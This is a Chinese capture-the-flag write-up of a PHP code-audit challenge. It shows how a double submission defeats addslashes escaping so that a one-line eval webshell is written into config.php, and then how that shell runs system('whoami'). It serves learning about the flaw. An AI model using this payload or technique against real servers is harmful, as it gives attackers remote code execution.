BMZCTF-easy_php
BMZCTF-[easy_php]-[本地复现]-[简单的代码审计]
1.题目描述
<?php
highlight_file(__FILE__);
error_reporting(0);
function new_addslashes($string) {
if(!is_array($string)) return addslashes($string);
foreach($string as $key => $val) $string[$key] = new_addslashes($val);
return $string;
}
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
}
if(isset($_POST['sudo'])) {
$file = __DIR__ .'/config.php';
require $file;
$key = $_POST['info']['name'];
if(!isset($LANG[$key])) {
$content = file_get_contents($file);
$content = substr($content,0,-3);
$data = $content."\n\$LANG['$key'] = '$_POST[no1]';\n?>";
file_put_contents($file,$data);
} elseif(isset($LANG[$key]) && $LANG[$key]!=$_POST['no1']) {
$content = file_get_contents($file);
$content = str_replace($LANG[$key],$_POST['no1'],$content);
file_put_contents($file,$content);
}
}
if(isset($_GET['re'])){
file_put_contents("./config.php",base64_decode("PD9waHAKJExBTkdbJ21lbWJlcl9tYW5hZ2UnXSA9ICdhZG1pbic7Cj8+Cg=="));
}
2.代码审计
讲在前面:
1.addslashes($string):对字符串参数中的预定义字符进行转义,并返回转义后的字符串
2.__DIR__:取出当前脚本执行的物理路径
3.题目源码中的base64编码【PD9waHAKJExBTkdbJ21lbWJlcl9tYW5hZ2UnXSA9ICdhZG1pbic7Cj8+Cg==】解码后:
<?php
$LANG['member_manage'] = 'admin';
?>
4.file_get_contents — 将整个文件读入一个字符串
5.file_put_contents — 将一个字符串写入文件
通读代码:
<?php
highlight_file(__FILE__);
error_reporting(0);
function new_addslashes($string) {
if(!is_array($string)) return addslashes($string);
foreach($string as $key => $val) $string[$key] = new_addslashes($val);
return $string;
}
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
}
if(isset($_POST['sudo'])) {
$file = __DIR__ .'/config.php';
require $file;
$key = $_POST['info']['name'];
if(!isset($LANG[$key])) {
$content = file_get_contents($file);
$content = substr($content,0,-3);
$data = $content."\n\$LANG['$key'] = '$_POST[no1]';\n?>";
file_put_contents($file,$data);
} elseif(isset($LANG[$key]) && $LANG[$key]!=$_POST['no1']) {
$content = file_get_contents($file);
$content = str_replace($LANG[$key],$_POST['no1'],$content);
file_put_contents($file,$content);
}
}
if(isset($_GET['re'])){
file_put_contents("./config.php",base64_decode("PD9waHAKJExBTkdbJ21lbWJlcl9tYW5hZ2UnXSA9ICdhZG1pbic7Cj8+Cg=="));
}
3.解题过程
第一步:关键代码分析
elseif(isset($LANG[$key]) && $LANG[$key]!=$_POST['no1']) {
$content = file_get_contents($file);
$content = str_replace($LANG[$key],$_POST['no1'],$content);
file_put_contents($file,$content);
}
第二步:根据以上步骤构造payload
payload1:GET传入以下内容,生成config.php页面的内容
http://www.exploit.cool/exp/ctf/BMZCTF/?re
payload2:通过no1写入一句话木马,执行两次
第一次提交:
GET内容:
http://www.exploit.cool/exp/ctf/BMZCTF/
POST内容:
sudo=1
&info[name]=member_manage
&no1='?><?php eval($_POST[0])//
第二次提交:
为什么二次提交:
第一次提交:$content = str_replace($LANG[$key],$_POST['no1'],$content);
其中$LANG[$key] = "admin"
其中$_POST['no1'] = "\'?><?php eval($_POST[0])//"
其中$content = "<?php\n$LANG['member_manage'] = 'admin';\n?>"
因此$content结果是:<?php\n$LANG['member_manage'] = '\'?><?php eval($_POST[0])//';\n?>
第二次提交:str_replace($LANG[$key],$_POST['no1'],$content);
其中$LANG[$key] = "'?><?php eval($_POST[0])//"
其中$_POST['no1'] = "\'?><?php eval($_POST[0])//"
其中$content = <?php\n$LANG['member_manage'] = '\'?><?php eval($_POST[0])//';\n?>
因此$content结果是:<?php\n$LANG['member_manage'] = '\\'?><?php eval($_POST[0])
payload3:利用一句话木马
GET:
http://www.exploit.cool/exp/ctf/BMZCTF/config.php
POST:
0=system('whoami');
4.总结
注意:取值的时候不会取出转义字符/,所以是如下所示的取值结果
第一次取出$LANG[$key]的值为: amdin
第一次取出$LANG[$key]的值为: '?><?php eval($_POST[0])//
|